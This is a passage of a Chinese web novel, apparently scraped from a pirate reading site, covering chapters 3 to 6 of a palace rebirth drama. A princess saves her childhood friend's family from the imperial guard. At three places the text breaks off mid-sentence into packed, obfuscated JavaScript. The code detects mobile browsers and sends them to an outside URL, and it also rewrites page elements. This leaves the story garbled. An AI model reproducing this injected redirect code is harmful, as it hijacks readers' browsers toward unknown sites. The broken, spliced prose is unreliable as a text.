人走远后,宋清晏下意识地想起身,双腿的伤痛却疼的她倒吸一口凉气。 同前世一样,她这双腿在从城墙上跌落后,足足养了三四个月才恢复如常。 可眼下,有了上一世的记忆,宋清晏无论如何都没办法足不出户,躺着宫里安心养伤。 她将手按在胸口企图平复情绪,颔首时却见自己左胸口处透着一抹红痕。 仔细检查半晌后,宋清晏方才意识到那是前世她毒发时指尖划破皮肤时留下的痕迹。 这痕迹居然堂而皇之地出现在这一世的她身上,如同提醒着自己前世种种并非是一场梦。毒蔓延进五脏六腑的痛感,又是那般清晰。 顾不得背上的酸痛,宋清晏开始整理思绪。 锦衣卫的霍凌出现在承钧身边,不是个好预兆。 她宋清晏,大梁护国长公主纵横朝野一辈子,唯有这锦衣卫一个两个的古板固执最是让她头疼。 宋清晏从小到大虽是被众星捧月,但真正同她合得来的朋友却不多。 有父皇母后的宠爱,她自幼骄纵任性,寻常姑娘家捏针赏花的年纪里,宋清晏心血来潮开始钻研习武之道。 几日折腾下来,功夫未能长进多少,御花园里的花草树木倒是被砍了个遍。 世家子弟见了她不过是阿谀奉承,女娘们表面上同她笑意盈盈,私下在家中无一不被父母教导身为女子当端庄守礼,莫要效仿靖和公主。 唯有一人,从始至终都待她亲近。 那人是礼部侍郎家嫡次女,钟婉因,是她幼时亲自从世家贵女中挑选的公主伴读。 前世,裕亲王谋反失败后,朝廷派遣锦衣卫严查同裕亲王谋逆案相关的朝廷官员。谁料,两个月后,钟婉因的父亲钟鼎名字赫然出现在锦衣卫上交的文书之上。 皇帝这才知道,礼部侍郎钟鼎早就已经站队裕亲王,几年来利用科举替裕亲王在朝中安插数十位官员。 彼时皇帝已然病入膏肓,朝中大小事宜交于宋清晏打理,钟鼎被问责之后除去已经嫁为人妇的嫡长女之外,举家流放。 宋清晏让人在流放的路上动了些手脚,将婉因与年幼的弟弟改名换姓,安顿在京城一处小院里。 后来,她辅政监国后每日处理的事宜越来越多,无法再出宫见婉因,只能从亲卫的口中略知婉因姐弟的消息。 直到平昭四年,钟婉因的弟弟因在学堂内同一官家子弟起争执,失手伤人。几经辗转,这案子竟然出人意料的落在刚从登州回京任职不久的锦衣卫镇抚霍凌头上。 霍凌是宋清昀一手提拔起来的人,宋清晏四下打听,猜想霍凌应当同钟家早有过节,如若不然一个高升不久意气风发的霍大人何必插手此等小事。 国有国法,她虽是长公主被特许辅政,但锦衣卫效忠的永远都是帝王,更何况当时的她同弟弟承钧早已经隔阂颇深。 她去同宋清昀商议,当时的他语气冷淡,只道:“阿姐身为长公主,罔顾法纪已是不合规矩,此时再牵扯其中难道要天下人都知晓,长公主包庇罪臣之后吗?” 再后来她因一意孤行推行漕运改革,导致民声载怨逐渐失势。而后又因动用私刑处置昌毅伯次子惹得众怒,被圈禁别苑佛堂,对钟婉因姐弟之事也只能有心无力。 被幽禁的第四个月,她从宫人口中听闻婉因因忧思过重,郁郁而终。 钟婉因精通药理,在京城姐弟二人相依为命的几年便是靠着卖些草药为生 一个懂得医术之人却因心病无药可医而亡,宋清晏不用查也知道定是与那霍凌脱不了干系。而霍凌能如此跋扈,其中也少不了她弟弟宋清昀的默许。 如今这霍凌竟平白比前世提前回京,那钟家的祸事岂不是也会被提前翻出来? 宋清晏暗道不妙,搞不好他今日进宫就是来向太子禀报此事的! 宋清晏当即唤了折竹去查此事,一炷香的时间后,折竹匆匆赶回来向她禀报。 没成想果真如她所料! 宋清晏顾不得其他,在宫人的搀扶下起身道:“礼部钟鼎现下关押在哪?我需得见上他一面。” “应当是在北镇抚司。”折竹眉头微皱,“公主,前段时日锦衣卫指挥使汪擎汪大人追查逃犯时受了重伤,如今在家卧床养伤,由其养子严霄代行指挥使一职。” 似是想起了些不太好的回忆,折竹犹豫地劝解道:“公主,听闻这位严大人铁面无私,而且从前咱们跟他多有过节,锦衣卫只听从皇命,若是没有圣上的文书想越过他进诏狱...有些难办啊。” 宋清晏抬眼看向折竹 ,眼中闪过一丝惊诧。 这一世,就连汪指挥使因伤休养都提前了两年。 看来许多事她需得早做打算,以免陷入被动局面。 “去寻倚梅,”宋清晏将手边茶水一口饮尽,“五年前她那个混账表哥被我送进锦衣卫,如今已官至千户。同他讲,靖和公主要他尽犬马之劳的时候到了。” * 钟鼎被关在诏狱一连几日,蓬头跣足地戴着镣铐坐在草席之上。 夜里光线暗,他听见有人一路疾行朝他走过来,随即打开了狱门。 尚未来得及一看究竟,一顶黑色罩子便蒙在他头上将他拖了出去。 过了一会儿,不知七拐八拐走向何处,周遭一片安静,唯有头顶传来滴答的水声。 直觉告诉他,前面一定有人等候。 锦衣卫听从皇命,他关在诏狱一连几日无人审讯,是因为皇帝一直昏迷未醒。 钟鼎抬起头,朝眼前的一片漆黑询问道:“阁下可是太子殿下派来的?” 周围仍旧安静,唯有水珠落地的迸裂声。 钟鼎喉间滑动,既不是太子,他心底的另一个猜测却不敢,也不能问出口。 沉默许久后,他终究还是僵持不住,试探地摸索着自己周围,没成想手上的捆绑竟三两下就被挣脱开。 钟鼎迅速摘了头上的黑色布罩,一片白光刺向双眼,他伸手遮挡间看见一个一袭红衣的年轻女子正坐在正前方。 看清来人后,钟鼎悬着的心倒是松缓了几分。 他恢复了原本镇定的模样,朝前方行了一礼道:“臣钟鼎,问公主殿下安。” 宋清晏将他的神色变化尽收眼底,目光落在他胸前方才挣扎间,里衣里露出的半个香囊上。 她招手示意,身后的倚梅立刻干脆利落的上前将香囊摘下来,送到她手上。 香囊内里缝着平安符,许是经常被人放在手心抚摸,四角处已有些褪色。 宋清晏摸索着手里的香囊上精致的刺绣,感慨道:“这绣工,和婉因的一模一样,若我没猜错是何夫人亲手给你绣的吧。” 钟鼎眸色平缓,他不知靖和公主因何特来这一出,只好继续沉默。 宋清晏将香囊在手中绕了绕,随即笑了。 “枉你一甲进士出身,这辈子,人生的每一个重要节点,你就未曾选对过一次。” 她放下腿,思索一般地靠在椅背上。 “昔年先帝病重太后代行朝政,你得太后赏识,想培养于你,以待来日入内阁。可你拒绝了,想靠自己的才学在这朝堂上闯出一番天地。” “所以后来,”宋清晏端详着他,缓缓道:“何夫人对你一见钟情,太后亦是有意撮合你们二人,而你多次拒婚就是怕自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14921207|160353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牵扯党争,蹚入浑水玷了你为官的清白身。” 钟鼎垂眸扯了扯嘴角勾起一抹疲惫的笑,“公主说笑了,这世间有能之士如过江之鲫,臣当时年少轻狂,不知轻重罢了。” “少年自有凌云志,你也曾是少年,也曾慷慨激昂。出身寒门也曾许下豪言壮志,有朝一日为天下寒门同仁撑起一片天。” 她俯身,一字一句问道:“只是当初的你,去哪了呢?” 牢狱内水滴落地的回声愈发清晰,良久后,钟鼎抬起头看向宋清晏。 宋清晏同他对视的瞬间,发觉得他目光逐渐柔和,像是以一个长辈身份在看面前的这个同他女儿年岁相仿的姑娘,又像是在透过她看年少的他自己。 “当初的臣不谙世事,尚不清楚为官者需得和光同尘。世人皆浊,需得淈其泥而扬其波,众人皆醉,便需餔其糟而歠其醨,万不可特立独行。” 宋清晏侧首,说:“所以你左右逢源,一边做我父皇的好臣子,一边借公务之便帮裕亲王和太后往朝中安插官员。” “你可知令夫人何氏当初想不开自尽,并非是因为常年受你冷落,而是她不愿你因她受太后牵制。” 钟鼎面上闪过一抹惊讶,他想询问,却终究没有问出口。 何夫人当年自缢而亡,钟府一直对外宣称是病逝,实则不然。 宋清晏端详着他的神情,徐徐道:“何夫人对你一往情深,而你却步步提防。因为在你眼里她始终是何家人,是太后用来牵制你的棋子。” “嫁给你多年,她为你抚育一儿二女,却始终得不到你的真心。何夫人冰雪聪明,怎么猜不到你心中所想。她走了,是为了成全你啊。” 宋清晏俯身睨着他,轻声道:“她舍命护着的正人君子变成今天这副模样,不知何夫人九泉之下可觉得惋惜?” 钟鼎闭上双眼,似是不忍面对,微颤地睫毛像是在忍耐着极大的痛苦。 良久后,他再次恢复了方才那般神态自若的模样。 “公主千金之躯前来此地,总不是和臣来聊陈年旧事的吧?” 身后的倚梅一早备上笔墨纸砚,宋清晏招手示意后,倚梅将东西放在钟鼎面前。 “我知道你心存死志,不愿招认,觉得自己犯下的错跟着你这条命就能一起烟消云散了。如今太后和裕亲王一党已然无力回天,你为官多年,深谙律令,应当知晓你死之后你的儿女们将会受到怎样的牵连。” 钟鼎喉间发紧,一字一字问道:“公主是想让我揭发太后。” “错了,”宋清晏笑了笑,“我不会傻到做出这种有辱皇室颜面的事来,我要你揭发是太后娘娘背后包括何阁老在内的何氏一族。” 宋清晏在折竹的搀扶下起身,说:“这一生,为人臣,为人夫你都问心有愧。临了了,希望你能选对一次,做一回儿女们的好父亲。” 她挪动着疼痛僵硬的双腿正欲离开,钟鼎却叫住了她,声音自她身后徐徐传来。 “臣知公主此行不仅仅是为了臣伏罪留下何氏一族谋逆的证据,更是为了臣的女儿婉因,臣铭感五内,可臣也有几句话想对公主说。” 宋清晏回首,示意他继续。 “公主为人聪慧睿智,却常常因太重情义而使自己涉身险地。公主此番千里调兵救驾虽为忠孝,可一无诏书,二无完整兵符,难免落下话柄遭小人诋毁。容臣再说一句僭越的话,经此一事后,来日不论上位者是谁,都会因此而忌惮,亦是不会允许朝中有一位光凭声望就能调动四方兵马的公主存在。” 闻言,宋清晏驻足良久后,苍白的面孔上扯出一抹疲惫的笑。 “你说的,很有道理。” 4. 第 4 章 倚梅自诏狱回来后,行至宋清晏面前朝她点了点头。 宋清晏侧首问道:“他据实交代了?” 倚梅说:“嗯,奴婢让表哥私下去查了,时间来往官员都对得上。何阁老做内阁次辅这么多年在朝中已是根深蒂固,又有太后娘娘在背后鼎力支持。如若没有这份供词,很难拿出他参与谋逆案的证据扳倒他。” 宋清晏轻合双眸,闭目养神道:“何氏一族倒了,便是断了太后的羽翼,如此既避免言官那边指责父皇不敬嫡母,又能铲除朝中蛀虫。” 而她便可以在自己宫里装病养伤,不为后续任何事烦忧。 “诏狱那边你还需叫你表哥多留意着,供词面呈天子之前,钟鼎不能出任何事。此番他也算戴罪立功,最起码能保他儿女性命无忧。” 闻言,倚梅却未做声。 宋清晏睁开眼,询问道:“怎么了?” 倚梅道:“奴婢回来前,听北镇抚司的人说今日要前去钟府抄家。圣上一直未醒,怕是供词尚未面圣,钟家人便已经刀山火海滚上一遭了。” 宋清晏当即吩咐人套了车,在宫人和亲卫的陪同下出宫奔向礼部侍郎钟鼎的府宅。 马车一路疾行,宋清晏望着熙熙攘攘的街道,自醒来心里一直绷直的那根弦仿佛松了一般。 她将手生出车厢外,感受着阳光的温暖与流动在指缝的风,这一刻她方才真正感受到自己当真是活了回来。 同眼前的新生相比,前世的记忆如梦似幻,不再那般刻骨铭心。 行至钟府前面的街巷时,宋清晏看见七八个锦衣卫把守着门前,府内众人被赶出屋舍,聚集在门口的空地上,女眷们惶恐地互相搀扶着围成一团。 来的路上她整理思绪,逐渐发觉此事若是提前发生未必是件坏事。 前世,裕王叔谋逆后父皇的病每况愈下,终日缠绵病榻,奏章文书都是由内侍念与他听。 再后来父皇将自己和弟弟唤至寝殿,在内阁众臣和司礼监的见证下,将监国之事交给她。待到他身去之后,太子登基继位,她便以护国长公主的身份辅政。 那时的宋清晏虽有监国之权,但对于自己父皇已做出的决定,恐落人话柄不能随意更改。便只能在流放路上动些手脚,救钟婉因姐弟脱困。 如今父皇尚在人世,她大可去求情给婉因谋一条出路,不至于叫她如上辈子那般一生都要隐姓埋名东躲西藏。 况且还有钟鼎戴罪立功,只要钟鼎供词呈上去,至少能保他儿女性命无忧。 上有皇命,下有她这个公主相助,霍凌就算本事通天,也不敢再生事端。 宋清晏赶到府邸前,只见锦衣卫如黑色的潮水,将钟府众人紧紧围住。 锦衣卫从前是太祖的仪仗队,几番朝野更替后逐渐变成皇帝探听舆论,整治朝臣的一把刀。 这群人有着严格的选拔标准,个个都是马蜂腰,螳螂腿,身姿挺拔。因着从皇命各个又出身不俗听,不受三法司牵制,行事多透着张扬与不可一世的傲慢。 钟府中女眷们花容失色,娇弱的身躯在恐惧中颤抖。 年迈的仆人,虽已白发苍苍,坚定地挡在姑娘们面前,用那干枯的双手试图阻挡锦衣卫的逼近。 然而,拉扯之间,锦衣卫已然没了耐性,正欲将面前阻碍甩开伸手抓人时,听见身后一道威严的女声, “住手。” 为首的锦衣卫镇抚霍凌侧身,见一众亲卫中围绕着一位女子,见这女子衣着华贵,气势不俗,他有片刻的迟疑不敢贸然动手。 “殿下!” 钟婉因朝自己缓缓走近的那道熟悉的身影惊呼出声,借着机会忙将哭闹的幼弟护在身后。 宋清晏颔首,给了钟婉因一个安心的眼神。 “你们锦衣卫办事,连老弱妇孺都不放过吗?” 闻言,一名较为年轻的锦衣卫小旗余光瞟见着女子亲卫身上的腰牌,面露惊诧之色,随即走上前率先朝宋清晏行礼。 “不知公主殿下驾临,卑职等多有冒犯。殿下...” 霍凌刚回京不久,得手下人提醒这才知晓来人身份,躬身行礼道:“卑职锦衣卫镇抚使霍凌参见公主。” 一旁的小旗忙上前道:“禀公主,卑职等奉命查案,发现钟侍郎与裕亲王谋逆案多有牵扯,特来钟府彻查。” 宋清晏眸光淡淡扫了一眼,没有理会。 “既然钟侍郎参与谋逆一事证据确凿,他本人亦是关押于诏狱,你们来钟府搜查便搜吧,本宫只不过是来接友人叙旧,并不妨碍你们查案。” 说着,她便拉着钟婉因的手迈步欲离开。 霍凌上前半步,挡在她们面前,看了一眼她身后的钟婉因道:“公主殿下,您的这位友人乃钟侍郎嫡次女,按规矩应随钟府所有人一同前往诏狱以待审讯。” 闻言,身后的锦衣卫小旗心头一紧,生怕自己这个离京多年不了解朝中局势的上司霍凌同公主起争执。 朝野上下无人不知靖和公主是皇帝放在心尖上疼爱的女儿,他们办案虽是皇权特许,也不能因此惹恼了公主。 小旗搓了搓手,躬身上前道:“公主,卑职将府中之人带去审讯是依章行事,同此事不相干不知情的人定会记录在册上报给圣上定夺,不会施以严刑误伤无辜。” 闻言,宋清晏凤眸瞟过,只道:“那我问你,裕亲王一案牵扯甚广,世家盘根错节就连三朝元老的刑部尚书一时间都难以理清,此番彻查钟侍郎一案为何会交到刚上任不久的霍镇抚手中?” 小旗硬着头皮道:“圣上将此案交由北镇抚司审理,镇抚大人也是奉命行事。还望公主海涵......” “圣上?” 宋清晏轻笑,“圣上一直昏睡未醒,敢问霍镇抚是何时得的抄家文书,可否拿出来给本宫一看?” 霍凌一时语塞,他回京不久尚且摸不清皇室中人关系如何。且锦衣卫效忠皇命,即便圣上养病之际由太子代行朝政,一无口谕,二无文书难免落下话柄。 “案子紧急,今日卑职带人来查府亦是为了尽快搜集证据,锦衣卫有权先斩后奏,还望公主殿下不要为难。” 宋清晏偏头,“那也得看霍镇抚因何而来,若是为了查案,本宫确实不宜阻拦。若是为了旁的,那还真要妨碍一二了。” “公主今日前来,是疑心霍某以权谋私从中作梗?” 霍凌抬眸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“大,大人!”赵小旗颤抖道:“这钟二姑娘既然是公主殿下旧友,不如再,再问问上头...再做决定呢?若是因这点事起了争执,指挥使那边儿也不好交代啊......” 霍凌已经意识到事情严重性,但他并不想放过这个机会。他扶刀相诋正欲再次动手时,一把凌厉的刀如同割裂了风声般自耳廓刮过,随即径直地落在他脚前。 那把刀在日光下隐隐冒着寒光,霍凌瞪大了眼睛,面前这刀他再熟悉不过,是皇帝御赐的绣春刀。 一众锦衣卫看清那把刀后纷纷顿在原地,不约而同地望向身后。 天地之间,仿佛突然安静下来。 唯有来者的脚步声,沉着有力。 宋清晏抬眼,越过面前层层锦衣卫,目光一寸一寸地看向来人面上。 只一眼,心头犹如闪过惊雷。 来人身形挺拔高大,腰束革带,袍身细密的纹路仿若游鱼,在雪地映衬下隐隐泛光。 他生得肤色白皙,丰神俊朗,只是神色冷冽疏离拒人千里之外。 流年不利,祸不单行,来的人竟是锦衣卫刚上任的指挥使严霄这个大麻烦。 5. 第 5 章 宋清晏扪心自问,自己人生短短的二十几年里同严霄并没有多大的过节,甚至也曾有过几次同生死共患难的经历。 按理说即便她们话不投机做不成朋友,最起码念在当年种种也算是相熟。 只是可惜不论是她张扬跋扈的年幼之时,还是被封护国长公主执掌朝政之时,她们每一次有所交集无一不闹的不欢而散。 年少时宋清晏觉得严霄人如其名,是块捂不热的石头。 长大后朝政上的数次交手,又深感严指挥使的固不可彻。 以至于她执掌朝政风光无两的那几年,锦衣卫成了朝野上下唯一不为她所用的机构。 偏偏严霄这厮材优干济,少时被家里安排在锦衣卫所做舍人,跑腿打杂撰写公文。 十六岁中武状元,同年孤身一人前往西北军营历练,火烧鞑靼部粮草,不受家族荫蔽靠自己取得一身功绩。 年初锦衣卫指挥使汪擎大人因伤休养,严霄暂代指挥使一职。 宋清晏一看见严霄就头疼,僵持在这儿又不是个办法,只好硬着头皮道,“严大人,婉因幼时长于宫中陪伴在我身边多年,鲜少久居钟府。可否让她同我一道回宫,留于我身边,待案情查清了再做处置?” 严霄朝宋清晏行了一礼,随即道:“钟侍郎涉足谋逆案,同钟府在内所有人都应一同带去审问,诏狱守卫森严钟家人必不会有丝毫损伤,公主若是不放心可来探望。” 闻言,宋清晏眉头微皱。 即便诏狱守得连只苍蝇都飞不进去,霍凌身为镇抚使自是进出自由,这叫她怎么放心? 见她不语,严霄抬眸同她对视。 “缉拿文书在这儿,还请公主殿下过目。” 宋清晏本想那对付霍凌的那一套话术应付严霄,没成想这厮手里竟当真有文书。 她狐疑地伸手接过,打开一看却见上面清晰地盖着刑部的章。 宋清晏正欲询问,严霄像是猜透她心中所想抢在她面前开口。 “此案涉猎甚广,三日前圣上命令锦衣卫同三法司联合彻查,刑部的缉拿文书于昨晚送至北镇抚司,我等也是奉命行事。” 宋清晏嘴角抽了抽,如她所想一碰到严霄这人她总是讨不到半点好处,无奈她只好缓慢抬起头,“严大人,我这人一向不愿拐弯抹角,” 她迎上他的目光,“本宫放心不下的,是你们锦衣卫。” “我相信严大人为人刚正秉公执法,同钟府有往来的同僚不可参与案件审理,但百密一疏,钟侍郎为官多年于朝政上并不清白,难免有意料之外的人借机报复。” 严霄垂眼,眸光淡淡道:“公主插手此事,是怀疑锦衣卫内部有人借钟家祸起一事,为难于钟二小姐。” 宋清晏没想到严霄就这么堂而皇之地将她的想法说了出来,一时间她也猜不准严霄对霍凌与婉因之间的恩怨纠葛是否知情,随即又听他道, “锦衣卫只负责缉拿审问,此案既是锦衣卫同三法司联合办案,公主若是不放心我们的人可先行将钟二小姐姐弟送往大理寺,待三司会审后交给圣上定夺。” 若如此,婉因姐弟关押于大理寺,霍凌就算本事通天手也伸不进别人的地盘里。更何况凭她对严霄的了解,这人也算言出必行,他身为霍凌顶头上司,审案期间至少能确保婉因姐弟性命无忧。 宋清晏见好就收,承了严霄这个情。 “既如此,那便多谢严大人体谅。” 严霄垂首示意,转身叮嘱身边人搜查。 “指挥使...” 霍凌正欲迈步上前,却见严霄凤眸瞥过,当即收了声。 见状,宋清晏忙道:“今日之事乃我一人之责,我自会请示父皇说明原因。” 见状,严霄颔首示意,不再多言。 此时宋清晏才有闲情打量起严霄来,当下的严霄二十出头的年纪,刚刚代行指挥使一职不久,同前世一般沉稳内敛,不苟言笑,只是眉眼明亮清澈看起来和记忆里相比清俊了些。 连她平日里最讨厌的那身张扬的锦衣卫飞鱼服,此时穿在严霄修长挺拔身上,都觉得添了几分矜贵稳重。 爱美之心人皆有之,严指挥使虽是颗顽石,但这厮皮相却是绝佳,剑眉冷眸,挺拔如松,所到之处无一不惹得年轻的女眷们窃窃私语。 宋清晏自己也不例外,从前她机缘巧合下同严霄有过两次交集,无论是幼年时的第一次相见,还是十几岁生死一线时并肩作战,无一不感慨这人肃然神色下俊美的面容。 只可惜,此人太过固执古板,自执掌北镇抚司以来经他查办处置的官宦人家无数,行事果断不留情面,以至于年纪轻轻就落个玉面阎罗的称号,叫朝野上下闻风丧胆。 原本以为今日对上严霄还得几经周旋,没成想他倒是好心帮她解决了后顾之忧。 宋清晏看向正在安抚幼弟的钟婉因,见那小儿依旧啼哭不止,几次哭得差点背过气去,她走上前问道:“他怎么了?” 钟婉因给弟弟顺着气,“大抵是吓着了,公主殿下不必忧心这孩子自小就是这样,一哭闹起来止不住定是要哭累了才罢休。” 钟婉因抿了抿唇,犹豫道:“殿下,您其实无需看在往日情面插手此事。婉因感激您今日之举,但家父参与谋逆属实,朝中对钟府的一切处罚也是我们罪有应得,诏狱我们也下得。” “经手此案之人是登州来的霍凌,你可有想过万一进了诏狱落入他手中该如何自保?” 听到熟悉的名字,钟婉因眸光晃动,问出心中的疑惑:“公主殿下知道霍大人和我家的事?” 宋清晏一时语塞,她原本对他们二人的事了解甚少,只得道:“只是依稀听人说起,霍凌似乎与钟家有过节,我怕他对你不利。” 闻言,钟婉因看了一眼不远处同严霄交谈的霍凌,低下头眼泪就这样毫无防备的落了下来。 “原是我家对不起他,他心中有怨恨也是应该的。” 前世她其实派人查过霍凌底细,听闻他几经辗转回了登州,几年后查清了当年登州知府受害一案,为父亲平反,靠着自己的努力一路做到镇抚的位置,又得当朝太子提携自此青云直上。 而后钟府没落,他想是对旧事心怀怨恨,不肯放过这个好机会。 只是方才那句你怎知霍凌一定是害人,而非救人又是何意? 眼见钟婉因眼泪大滴大滴地流下来,宋清晏当即闭了嘴,她原本也不是好打听别人私事的人,更何况京中人多嘴杂,他们之间的恩怨纠葛越少人知晓,对婉因今后的名声便是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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闻言,小旗忙让开路道:“那卑职便不打扰了,我们指挥使大人说公主有伤在身不宜多行动已命人将轿辇唤进来,还请公主在原地稍作等候。” 宋清晏微怔,她为了不叫人看出她行动有异,跟根木头一样站在这里半晌没动,装得她只觉得脸都僵硬了,没成想竟叫这严霄一眼看了出来。 执掌北镇抚司这些年,当真是练得一手细致入微的好本事。 如此也好,卸了防备她也能少些辛苦。 宋清晏在亲卫的护送下经过严霄身旁时,她侧首看见他正在一旁盯着从钟府搜出来的信件看的认真,纤长的睫毛向下低垂着,侧脸的轮廓比起年少时愈发英挺好看。 恍惚间宋清晏想起十五岁那年,她女扮男装跑去西北军营偶遇严霄的那段日子。 昏暗的营帐内,少年靠在仅有的一盏烛火前,仔细研究着手中的布阵图,神情亦是如现在一般认真。 宋清晏这个人心里一高兴就容易口无遮拦,离近严霄身旁时,她放缓了脚步朝他招了招手。 “多谢了,天仙!” 闻言,身后的小旗左脚险些绊住右脚,他抬起头惊诧地看了看公主,又看了看严指挥使,在对上严指挥使的目光时慌忙侧首,装作什么都未曾听见。 严霄抿了抿唇,看着面前宋清晏离去的背影,微不可查地叹了口气。 6. 第 6 章 晏安宫这几日大门紧闭,宋清晏借口对外养伤谢绝了一切外客来访。 期间除了去寝殿看过一次尚在昏睡的皇帝外,未曾迈出宫门一步。 春三月的京城午时一日暖过一日,折竹和芷兰每每到了晌午便将宫里的旧籍册子搬出来晒一晒。 她们两个不似倚梅和观菊自幼学些功夫,外出游历也能跟在公主身边陪伴,只能留守在这晏安宫里替公主打理院里的大小事宜。 说起来也奇怪,她们几个从小陪在公主身边,也是彼此看着长大的。 公主从小跳脱喜热闹,一向是坐不住的性子,凭她们对自己主子的了解,别说是伤了腿,就是卧床不起也需得叫上三五个人日日在身边攀谈不可。 怎么像如今这般安静地待在宫里,难不成不在京中的这段时间里,公主另有奇遇? 折竹和芷兰对视一眼,二人正商议着找时间私下问问倚梅和观菊她们,没成想说曹操曹操就到了。 倚梅和观菊行色匆匆自外头进来,折竹尚未来得及询问,便见她们二人径直走进公主寝殿。 躺在贵妃榻上看闲书的宋清晏闻声抬眸朝外看过去,待二人进门后问道:“怎么了?” 观菊是皇后娘娘从内廷司选出来的女使,在侍奉宋清晏之前和一众内廷女使日夜宿在一起。 这么多年过去曾经宿在同一屋檐下的姐妹们都已经忙碌在宫内各处,御前也是有几个相熟的人,公主要她们留意宫中各处风吹草动,观菊一得知养心殿的消息后便忙着回来禀报。 “殿下,两个时辰前圣上醒了,奴婢探知圣上一醒来便召了内阁和司礼监的人过去议事,一直到现在尚不曾结束。” 宋清晏抿了一口茶水,应声道:“这倒不足为奇,太后伙同亲王谋逆,事关皇家颜面,父皇也是想先关起门来好生商议后再做决定。” 倚梅点点头,“想是钟侍郎那份供词起了作用,奴婢表哥传消息来,说圣上醒来后便通传了锦衣卫将何府团团围住,不得任何人进出。” 宋清晏笑了笑,神色带着几分畅快。 从小到大,她没少受她这位皇祖母的气。 自母后去世后,她和她这位名义上的皇祖母斗了长达五年之久。 上一世裕亲王谋逆案后,因着没有切实的证据太后抓住机会笼络朝中一众言官日夜上书指责皇帝不忠不孝,眼看事情的走向已然无力回天后,更是独自揽过所有罪责,从而保住了何阁老在内的一众何家人。 虽是斗倒了太后,宋清晏却也连累自己父皇落下了许多后患无穷的舆论是非。 更是在她执政的那几年,朝堂之上何阁老没少给她使绊子。 这几日想必太后她老人家待在宫里也一早想清楚了对策,而她这一世她反其道而行之,借钟鼎之手提前铲除了何党,便是断了太后羽翼。 前朝没了何阁老,身后没了家世支撑,太后她老人家便独坐高阁形影相吊去吧。 “还有一事,”观菊伸出一根手指,说:“一盏茶前,礼部的崔尚书也被传唤来了养心殿。” 闻言,宋清晏微微皱眉。 上辈子她被册封为护国公主正是她父皇钦点,由礼部崔尚书亲自担任册封使。 看来该来的终究还是来了。 宋清晏深吸了一口气,“放点消息到后宫和都察院那里,好让他们急着去父皇面前参我一本。” 倚梅和观菊对视一眼,还以为是自己听错了,“参殿下您什么?” 宋清晏想也不想,张口便道:“从前都察院那几个老顽固不是常去父皇那儿告我状吗,鼓吹他们让他们接着告。” “参我不敬长辈,违背礼教。行为不检,有失皇家体统。藐视国法,私自调动地方兵马。还有什么乱七八糟的一并加上就是了,越多越好。” 观菊仍是不解,正欲再问,倚梅已经拉着她离开准备着手去办了。 * 想是宋清晏的鬼主意起了效果,外头闹了一整日却没有任何传召送到晏安宫。 次日一早,她正准备洗漱,司礼监的冯掌印到访请她到养心殿。 轿辇停在殿门后,宋清晏在折竹的搀扶下迈上了石阶。 面前的宫殿高大巍峨,森严伫立,从宫人到侍卫无不提着精神,噤若寒蝉。而这里,却是她年少时常常随意出入的地方。 宋清晏止步环顾四周 ,看向周围每一个熟悉的面容。 良久后,内侍从门内出来,示意她到殿内等候。 踏入殿门,一股沉闷之气扑面而来。 烛火摇曳,光影在金砖地上晃荡。 龙榻之上,皇帝躺在宽大的龙床上,眉头微蹙似在忍受着病痛折磨。他的头发略显凌乱,几缕银丝在昏暗中格外扎眼。身上穿着的明黄色寝衣也显得松松垮垮。 床边的帷幕低垂,偶尔随着微风轻轻晃动。 药味弥漫在空气中,太医在一旁低声商讨着什么,宫女太监们站在角落里,噤若寒蝉。 见她进来,宋澜示意身边人退下,朝她招了招手。 宋清晏百感交集,幼时她同母后在宫中玩闹,等候父亲下朝归来的记忆在脑海中不断清晰。 那时的宋澜身体康健,每每迈进宫门时都会满面笑容地朝她招手,将飞奔过来的她抱在自己肩头。 这么多年无论身处何地,前朝后宫各方势力几经变化,他们永远是最亲的家人。 宋清晏强忍着心中的酸涩,半跪在宋澜床榻边,听他道, “那日你摔下城墙把父皇吓坏了,父皇这几日一直昏睡都没过去看看你,听太医说你能走动了,现下可有好些了?你啊,一向行事胆大,下次再也不要做这么冒险的事了。” 宋清晏上前握住皇帝的手,柔声道:“好多了,父皇不必担心,儿臣一贯是皮实的很。父皇记不记得,小时候儿臣曾爬上过母后院子里的海棠树上,明明自己下不来害怕的很,却又怕惊动母后遭到责骂,闭着眼睛就跳下来了。” 闻言,宋澜像是陷入了回忆,眼中满是柔情。 “父皇还记得,当时看见你走路有异,父皇和你母后还询问过你,明明疼得眼圈都红了,就是死活不肯说,一个人装作无事发生等回到自己房里趴在被子上哭。父皇那时候就想啊,你母后温柔贤淑,怎么生了一个嘴巴这么硬的姑娘。” 宋澜侧首看着宋清晏,久病恹恹的双眼似乎在透过她在思念别人。 良久后,他开口说, “一晃都过去这么多年了...父皇年少之时也是在一中兄长的庇护下玩闹,可世事难料,这江山社稷未曾想却落到了我头上。自登基以来,前有世家牵制,后有太后操控。这一路走来,何党覆灭,大权归落如今也算是守得云开见月明了......” 他低眸,对上宋清晏的视线说, “你此番救驾有功,解了京城危机。父皇同一众阁臣商议,封你为护国公主今后协助太子辅政可好?父皇久病缠身,也该退居幕后了。” 看着同前世相似的场景,想起上一世的种种,宋清晏垂下眼帘紧紧抓着他的手。 “儿臣怎么当得了如此大任,且儿臣这些年在京中行事颇有争议,父皇此举恐引起百官惶恐,难以服众。” 